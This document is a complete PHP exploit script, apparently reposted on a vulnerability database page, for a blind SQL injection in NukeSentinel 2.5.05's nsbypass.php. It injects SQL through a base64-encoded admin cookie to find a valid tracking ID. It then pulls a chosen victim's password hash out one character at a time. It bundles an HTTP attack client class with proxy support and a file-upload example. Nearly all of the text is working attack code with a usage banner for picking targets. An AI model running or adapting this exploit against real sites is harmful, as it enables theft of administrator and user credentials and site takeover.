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NukeSentinel 2.5.05 (nsbypass.php) Blind SQL Injection Exploit
#!/usr/bin/php
<?php
error_reporting(E_ALL ^ E_NOTICE);
# (changes.txt)
#
# 2.5.05 CHANGES (2007-01-22):
# + Includes IP2Country 2007-01-19 updated imports.
# - Both data and sql versions. (Not in upgrade package)
# + Moved nsbypass.php into the includes directory (Per User Requests).
#
# Prior versions may also be vulnerable but this exploit will not work
# for these versions (because the file \'nsbypass.php\' is not into the
# includes directory).
#
if($argc < 5) {
print(\"
NukeSentinel 2.5.05 (nsbypass.php) Blind SQL Injection Exploit
------------------------------------------------------------------
PHP conditions: none
CMS conditions: disable_switch<=0 (module activated), track_active=1
Credits: DarkFig <[email protected]>
URL: http://www.acid-root.new.fr/
------------------------------------------------------------------
Usage: $argv[0] -url <url> -victim <username> [Opts]
Options: -isadmin Is the victim an Admin (1) or a normal user (default=0) ?
-prefix Table prefix (default=nuke)
-tid If you have already used this sploit
-bf You can precise how many hits we can try
-proxy If you wanna use a proxy <proxyhost:proxyport>
-proxyauth Basic authentification <proxyuser:proxypwd>
------------------------------------------------------------------
\"); exit(1);
}
$url = getparam(\'url\',1); # http://localhost/php-nuke-7.9/html/
$login = getparam(\'victim\',1); # Default # Victim (root for example)
$admin = (getparam(\'isadmin\')!=\'\') ? getparam(\'isadmin\') : 0;
$prfix = (getparam(\'prefix\')!=\'\') ? getparam(\'prefix\') : \'nuke\';
$tid = (getparam(\'tid\')!=\'\') ? getparam(\'tid\') : 0;
$nbtst = (getparam(\'bf\')!=\'\') ? getparam(\'bf\') : 10000;
$proxy = getparam(\'proxy\');
$authp = getparam(\'proxyauth\');
$xpl = new phpsploit();
$xpl->agent(\"Mozilla Firefox\");
if($proxy) $xpl->proxy($proxy);
if($authp) $xpl->proxyauth($authp);
# +nukesentinel.php
# 49. if($ab_config[\'disable_switch\'] > 0) { return; }
# 414. if($ab_config[\'track_active\'] == 1 AND !is_excluded($nsnst_const[\'remote_ip\'])) {
# 458. $db->sql_query(\"INSERT INTO `\".$prefix.\"_nsnst_tracked_ips` (`user_id`, `username`, `date`, `ip_addr`, `ip_long`, `page`,
# `user_agent`, `refered_from`, `x_forward_for`, `client_ip`, `remote_addr`, `remote_port`, `request_method`,
# `c2c`) VALUES (\'\".$nsnst_const[\'ban_user_id\'].\"\', \'$ban_username2\', \'\".$nsnst_const[\'ban_time\'].\"\',
# \'\".$nsnst_const[\'remote_ip\'].\"\', \'\".$nsnst_const[\'remote_long\'].\"\', \'$pg\', \'$user_agent\', \'$refered_from\',
# \'\".$nsnst_const[\'forward_ip\'].\"\', \'\".$nsnst_const[\'client_ip\'].\"\', \'\".$nsnst_const[\'remote_addr\'].\"\',
# \'\".$nsnst_const[\'remote_port\'].\"\', \'\".$nsnst_const[\'request_method\'].\"\', \'$c2c\')\");
#
# We insert a row in $prefix.\"_nsnst_tracked_ips\".
#
print \"
Inserting a row in ${prfix}_nsnst_tracked_ips\";
$xpl->addheader(\"Client-IP\",\"255.255.255.255\");
$xpl->get($url.\'index.php\');
# Trying to find a valid tid.
# Needed for $tum > 0.
#
print \"
Trying to find a valid tid (max hits=$nbtst)\";
$sql = \"\' OR 1=1#\";
$xpl->addcookie(\"admin\",urlencode(base64_encode($sql.\':1:\')));
for($c=$tid;$c<=$nbtst;$c++)
{
$xpl->get($url.\"includes/nsbypass.php?tid=$c\");
if(!preg_match(\"#phpnuke.org#\",$xpl->getheader()))
{
$tid = $c;
print \"
Valid tid found: $tid
Hash: $login -> \";
break;
}
if($c == $nbtst) exit(\"
#1 Exploit failed\");
}
# MD5 hash length [32]
#
for($a=1;$a<=32;$a++)
{
# MD5 charset [a-f0-9]
#
for($b=48;$b<=71;$b++)
{
# +nsbypass.php
# 24. $num = $db->sql_numrows($db->sql_query(\"SELECT * FROM \".$prefix.\"_authors WHERE `aid`=\'$a_aid\' AND `pwd`=\'$a_pas\'\"));
# 25. $tum = $db->sql_numrows($db->sql_query(\"SELECT * FROM \".$prefix.\"_nsnst_tracked_ips WHERE `tid`=\'$tid\'\"));
#
if($admin) $sql = \"$login\' AND SUBSTR(pwd,$a,1)=CHAR($b)#\";
else $sql = \"\' OR SUBSTR((SELECT user_password FROM ${prfix}_users WHERE username=\'$login\'),$a,1)=CHAR($b)#\";
# +nsbypass.php
# 16. $tid = intval($tid);
# 17. if(isset($_COOKIE[\'admin\']) && !empty($_COOKIE[\'admin\'])) {
# 18. $abadmin = base64_decode($_COOKIE[\'admin\']);
# 19. $abadmin = explode(\":\", $abadmin);
# 20. $a_aid = \"$abadmin[0]\";
# 21. $a_pas = \"$abadmin[1]\";
# 22. }
#
$xpl->addcookie(\"admin\",urlencode(base64_encode($sql.\':1:\')));
$xpl->get($url.\"includes/nsbypass.php?tid=$tid\");
# +nsbypass.php
# 27. if($num > 0 AND $tum > 0) {
# 28. $row = $db->sql_fetchrow($db->sql_query(\"SELECT * FROM \".$prefix.\"_nsnst_tracked_ips WHERE `tid`=\'$tid\'\"));
# 29. $row[\'refered_from\'] = html_entity_decode($row[\'refered_from\'], ENT_QUOTES);
# 30. header(\"Location: \".$row[\'refered_from\']);
# 31. } else {
# 32. header(\"Location: \".$nuke_config[\'nukeurl\']);
# 33. }
#
if(!preg_match(\"#phpnuke.org#\",$xpl->getheader()))
{
print strtolower(chr($b));
break;
}
# MD5 hash do not contains g (char(71)) ... WTF !?
#
if($b == 71) exit(\"
#2 Exploit failed\");
}
}
# -url \"http://www.victim.com/\"
# -url http://www.victim.com/
# getparam(\'url\',1)
#
function getparam($param,$opt=\'\')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == \'-\'.$param) return $argv[$value+1];
}
if($opt) exit(\"
#3 -$param parameter required\");
else return;
}
/*
*
* Copyright (C) darkfig
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* TITLE: PhpSploit Class
* REQUIREMENTS: PHP 5 (remove \"private\", \"public\" if you have PHP 4)
* VERSION: 1.2
* LICENSE: GNU General Public License
* ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
* FILENAME: phpsploitclass.php
*
* CONTACT: [email protected] (french / english)
* GREETZ: Sparah, Ddx39
*
* DESCRIPTION:
* The phpsploit is a class implementing a web user agent.
* You can add cookies, headers, use a proxy server with (or without) a
* basic authentification. It supports the GET and the POST method. It can
* also be used like a browser with the cookiejar() function (which allow
* a server to add several cookies for the next requests) and the
* allowredirection() function (which allow the script to follow all
* redirections sent by the server). It can return the content (or the
* headers) of the request. Others useful functions can be used for debugging.
* A manual is actually in development but to know how to use it, you can
* read the comments.
*
* CHANGELOG:
* [2007-01-24] (1.2)
* * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
* * New: multipart/form-data enctype is now supported
*
* [2006-12-31] (1.1)
* * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
* * New: You can now call the getheader() / getcontent() function without parameters
*
* [2006-12-30] (1.0)
* * First version
*
*/
class phpsploit {
/**
* This function is called by the get()/post() functions.
* You don\'t have to call it, this is the main function.
*
* @return $server_response
*/
private function sock()
{
if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
else $socket = fsockopen($this->host,$this->port);
if(!$socket) die(\"Error: The host doesn\'t exist\");
if($this->method===\"get\") $this->packet = \"GET \".$this->url.\" HTTP/1.1
\";
elseif($this->method===\"post\" or $this->method===\"formdata\") $this->packet = \"POST \".$this->url. \" HTTP/1.1
\";
else die(\"Error: Invalid method\");
if(!empty($this->proxyuser)) $this->packet .= \"Proxy-Authorization: Basic \".base64_encode($this->proxyuser.\":\".$this->proxypass).\"
\";
$this->packet .= \"Host: \".$this->host.\"
\";
if(!empty($this->agent)) $this->packet .= \"User-Agent: \".$this->agent.\"
\";
if(!empty($this->header)) $this->packet .= $this->header.\"
\";
if(!empty($this->cookie)) $this->packet .= \"Cookie: \".$this->cookie.\"
\";
$this->packet .= \"Connection: Close
\";
if($this->method===\"post\")
{
$this->packet .= \"Content-Type: application/x-www-form-urlencoded
\";
$this->packet .= \"Content-Length: \".strlen($this->data).\"
\";
$this->packet .= $this->data.\"
\";
}
elseif($this->method===\"formdata\")
{
$this->packet .= \"Content-Type: multipart/form-data; boundary=---------------------------\".$this->boundary.\"
\";
$this->packet .= \"Content-Length: \".strlen($this->data).\"
\";
$this->packet .= $this->data;
}
$this->packet .= \"
\";
$this->recv = \'\';
fputs($socket,$this->packet);
while(!feof($socket)) $this->recv .= fgets($socket);
fclose($socket);
if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
if($this->allowredirection) return $this->allowredirection($this->recv);
else return $this->recv;
}
/**
* This function allows you to add several cookie in the
* request. Several methods are supported:
*
* $this->addcookie(\"name\",\"value\");
* or
* $this->addcookie(\"name=newvalue\");
* or
* $this->addcookie(\"othername=overvalue; xx=zz; y=u\");
*
* @param string $cookiename
* @param string $cookievalue
*
*/
public function addcookie($cookn,$cookv=\'\')
{
// $this->addcookie(\"name\",\"value\"); work avec replace
if(!empty($cookv))
{
if($cookv === \"deleted\") $cookv=\'\'; // cookiejar(1) && Set-Cookie: name=delete
if(!empty($this->cookie))
{
if(preg_match(\"/$cookn=/\",$this->cookie))
{
$this->cookie = preg_replace(\"/$cookn=(S*);/\",\"$cookn=$cookv;\",$this->cookie);
}
else
{
$this->cookie .= \" \".$cookn.\"=\".$cookv.\";\"; // \" \".
}
}
else
{
$this->cookie = $cookn.\"=\".$cookv.\";\";
}
}
// $this->addcookie(\"name=value; othername=othervalue\");
else
{
if(!empty($this->cookie))
{
$cookn = preg_replace(\"/(.*);$/\",\"$1\",$cookn);
$cookarr = explode(\";\",str_replace(\" \", \"\",$cookn));
for($i=0;$i<count($cookarr);$i++)
{
preg_match(\"/(S*)=(S*)/\",$cookarr[$i],$matches);
$cookn = $matches[1];
$cookv = $matches[2];
$this->addcookie($cookn,$cookv);
}
}
else
{
$cookn = ((substr($cookn,(strlen($cookn)-1),1))===\";\") ? $cookn : $cookn.\";\";
$this->cookie = $cookn;
}
}
}
/**
* This function allows you to add several headers in the
* request. Several methods are supported:
*
* $this->addheader(\"headername\",\"headervalue\");
* or
* $this->addheader(\"headername: headervalue\");
*
* @param string $headername
* @param string $headervalue
*/
public function addheader($headern,$headervalue=\'\')
{
// $this->addheader(\"name\",\"value\");
if(!empty($headervalue))
{
if(!empty($this->header))
{
if(preg_match(\"/$headern:/\",$this->header))
{
$this->header = preg_replace(\"/$headern: (S*)/\",\"$headern: $headervalue\",$this->header);
}
else
{
$this->header .= \"
\".$headern.\": \".$headervalue;
}
}
else
{
$this->header=$headern.\": \".$headervalue;
}
}
// $this->addheader(\"name: value\");
else
{
if(!empty($this->header))
{
$headarr = explode(\": \",$headern);
$headern = $headarr[0];
$headerv = $headarr[1];
$this->addheader($headern,$headerv);
}
else
{
$this->header=$headern;
}
}
}
/**
* This function allows you to use an http proxy server.
* Several methods are supported:
*
* $this->proxy(\"proxyip\",\"8118\");
* or
* $this->proxy(\"proxyip:8118\")
*
* @param string $proxyhost
* @param integer $proxyport
*/
public function proxy($proxy,$proxyp=\'\')
{
// $this->proxy(\"localhost:8118\");
if(empty($proxyp))
{
preg_match(\"/^(S*):(d+)$/\",$proxy,$proxarr);
$proxh = $proxarr[1];
$proxp = $proxarr[2];
$this->proxyhost=$proxh;
$this->proxyport=$proxp;
}
// $this->proxy(\"localhost\",8118);
else
{
$this->proxyhost=$proxy;
$this->proxyport=intval($proxyp);
}
if($this->proxyport > 65535) die(\"Error: Invalid port number\");
}
/**
* This function allows you to use an http proxy server
* which requires a basic authentification. Several
* methods are supported:
*
* $this->proxyauth(\"darkfig\",\"dapasswd\");
* or
* $this->proxyauth(\"darkfig:dapasswd\");
*
* @param string $proxyuser
* @param string $proxypass
*/
public function proxyauth($proxyauth,$proxypasse=\'\')
{
// $this->proxyauth(\"darkfig:password\");
if(empty($proxypasse))
{
preg_match(\"/^(.*):(.*)$/\",$proxyauth,$proxautharr);
$proxu = $proxautharr[1];
$proxp = $proxautharr[2];
$this->proxyuser=$proxu;
$this->proxypass=$proxp;
}
// $this->proxyauth(\"darkfig\",\"password\");
else
{
$this->proxyuser=$proxyauth;
$this->proxypass=$proxypasse;
}
}
/**
* This function allows you to set the \"User-Agent\" header.
* Several methods are possible to do that:
*
* $this->agent(\"Mozilla Firefox\");
* or
* $this->addheader(\"User-Agent: Mozilla Firefox\");
* or
* $this->addheader(\"User-Agent\",\"Mozilla Firefox\");
*
* @param string $useragent
*/
public function agent($useragent)
{
$this->agent=$useragent;
}
/**
* This function returns the header which will be
* in the next request.
*
* $this->showheader();
*
* @return $header
*/
public function showheader()
{
return $this->header;
}
/**
* This function returns the cookie which will be
* in the next request.
*
* $this->showcookie();
*
* @return $storedcookies
*/
public function showcookie()
{
return $this->cookie;
}
/**
* This function returns the last formed
* http request (the http packet).
*
* $this->showlastrequest();
*
* @return $last_http_request
*/
public function showlastrequest()
{
return $this->packet;
}
/**
* This function sends the formed http packet with the
* GET method. You can precise the port of the host.
*
* $this->get(\"http://localhost\");
* $this->get(\"http://localhost:888/xd/tst.php\");
*
* @param string $urlwithpath
* @return $server_response
*/
public function get($url)
{
$this->target($url);
$this->method=\"get\";
return $this->sock();
}
/**
* This function sends the formed http packet with the
* POST method. You can precise the port of the host.
*
* $this->post(\"http://localhost/index.php\",\"admin=1&user=dark\");
*
* @param string $urlwithpath
* @param string $postdata
* @return $server_response
*/
public function post($url,$data)
{
$this->target($url);
$this->method=\"post\";
$this->data=$data;
return $this->sock();
}
/**
* This function sends the formed http packet with the
* POST method using the multipart/form-data enctype.
*
* $array = array(
* frmdt_url => \"http://localhost/upload.php\",
* frmdt_boundary => \"123456\", # Optional
* \"email\" => \"[email protected]\",
* \"varname\" => array(
* frmdt_type => \"image/gif\", # Optional
* frmdt_transfert => \"binary\", # Optional
* frmdt_filename => \"hello.php\",
* frmdt_content => \"<?php echo \':)\'; ?>\"));
* $this->formdata($array);
*
* @param array $array
* @return $server_response
*/
public function formdata($array)
{
$this->target($array[frmdt_url]);
$this->method=\"formdata\";
$this->data=\'\';
if(!isset($array[frmdt_boundary])) $this->boundary=\"phpsploit\";
else $this->boundary=$array[frmdt_boundary];
foreach($array as $key => $value)
{
if(!preg_match(\"#^frmdt_(boundary|url)#\",$key))
{
$this->data .= \"-----------------------------\".$this->boundary.\"
\";
$this->data .= \"Content-Disposition: form-data; name=\"\".$key.\"\";\";
if(!is_array($value))
{
$this->data .= \"
\".$value.\"
\";
}
else
{
$this->data .= \" filename=\"\".$array[$key][frmdt_filename].\"\";
\";
if(isset($array[$key][frmdt_type])) $this->data .= \"Content-Type: \".$array[$key][frmdt_type].\"
\";
if(isset($array[$key][frmdt_transfert])) $this->data .= \"Content-Transfer-Encoding: \".$array[$key][frmdt_transfert].\"
\";
$this->data .= \"
\".$array[$key][frmdt_content].\"
\";
}
}
}
$this->data .= \"-----------------------------\".$this->boundary.\"--
\";
return $this->sock();
}
/**
* This function returns the content of the server response
* without the headers.
*
* $this->getcontent($this->get(\"http://localhost/\"));
* or
* $this->getcontent();
*
* @param string $server_response
* @return $onlythecontent
*/
public function getcontent($code=\'\')
{
if(empty($code)) $code = $this->recv;
$content = explode(\"
\",$code);
$onlycode = \'\';
for($i=1;$i<count($content);$i++)
{
if(!preg_match(\"/^(S*):/\",$content[$i])) $ok = 1;
if($ok) $onlycode .= $content[$i].\"
\";
}
return $onlycode;
}
/**
* This function returns the headers of the server response
* without the content.
*
* $this->getheader($this->post(\"http://localhost/x.php\",\"x=1&z=2\"));
* or
* $this->getheader();
*
* @param string $server_response
* @return $onlytheheaders
*/
public function getheader($code=\'\')
{
if(empty($code)) $code = $this->recv;
$header = explode(\"
\",$code);
$onlyheader = $header[0].\"
\";
for($i=1;$i<count($header);$i++)
{
if(!preg_match(\"/^(S*):/\",$header[$i])) break;
$onlyheader .= $header[$i].\"
\";
}
return $onlyheader;
}
/**
* This function is called by the cookiejar() function.
* It adds the value of the \"Set-Cookie\" header in the \"Cookie\"
* header for the next request. You don\'t have to call it.
*
* @param string $server_response
*/
private function getcookie($code)
{
$carr = explode(\"
\",str_replace(\"
\",\"
\",$code));
for($z=0;$z<count($carr);$z++)
{
if(preg_match(\"/set-cookie: (.*)/i\",$carr[$z],$cookarr))
{
$cookie[] = preg_replace(\"/expires=(.*)(GMT||UTC)(S*)$/i\",\"\",preg_replace(\"/path=(.*)/i\",\"\",$cookarr[1]));
}
}
for($i=0;$i<count($cookie);$i++)
{
preg_match(\"/(S*)=(S*)(|;)/\",$cookie[$i],$matches);
$cookn = $matches[1];
$cookv = $matches[2];
$this->addcookie($cookn,$cookv);
}
}
/**
* This function is called by the get()/post() functions.
* You don\'t have to call it.
*
* @param string $urltarg
*/
private function target($urltarg)
{
if(!preg_match(\"/^http://(.*)//\",$urltarg)) $urltarg .= \"/\";
$this->url=$urltarg;
$array = explode(\"/\",str_replace(\"http://\",\"\",preg_replace(\"/:(d+)/\",\"\",$urltarg)));
$this->host=$array[0];
preg_match(\"/:(d+)//\",$urltarg,$matches);
$this->port=empty($matches[1]) ? 80 : $matches[1];
$temp = str_replace(\"http://\",\"\",preg_replace(\"/:(d+)/\",\"\",$urltarg));
preg_match(\"//(.*)//\",$temp,$matches);
$this->path=str_replace(\"//\",\"/\",\"/\".$matches[1].\"/\");
if($this->port > 65535) die(\"Error: Invalid port number\");
}
/**
* If you call this function, the script will
* extract all \"Set-Cookie\" headers values
* and it will automatically add them into the \"Cookie\" header
* for all next requests.
*
* $this->cookiejar(1); // enabled
* $this->cookiejar(0); // disabled
*
*/
public function cookiejar($code)
{
if($code===0) $this->cookiejar=\'\';
if($code===1) $this->cookiejar=1;
else
{
$this->getcookie($code);
}
}
/**
* If you call this function, the script will
* follow all redirections sent by the server.
*
* $this->allowredirection(1); // enabled
* $this->allowredirection(0); // disabled
*
* @return $this->get($locationresponse)
*/
public function allowredirection($code)
{
if($code===0) $this->allowredirection=\'\';
if($code===1) $this->allowredirection=1;
else
{
if(preg_match(\"/(location|content-location|uri): (.*)/i\",$code,$codearr))
{
$location = str_replace(chr(13),\'\',$codearr[2]);
if(!eregi(\"://\",$location))
{
return $this->get(\"http://\".$this->host.$this->path.$location);
}
else
{
return $this->get($location);
}
}
else
{
return $code;
}
}
}
/**
* This function allows you to reset some parameters:
*
* $this->reset(header); // headers cleaned
* $this->reset(cookie); // cookies cleaned
* $this->reset(); // clean all parameters
*
* @param string $func
*/
public function reset($func=\'\')
{
switch($func)
{
case \"header\":
$this->header=\'\';
break;
case \"cookie\":
$this->cookie=\'\';
break;
default:
$this->cookiejar=\'\';
$this->header=\'\';
$this->cookie=\'\';
$this->allowredirection=\'\';
$this->agent=\'\';
break;
}
}
}
?>
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The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Feb 2007 00:00Current
7.1High risk
Vulners AI Score7.1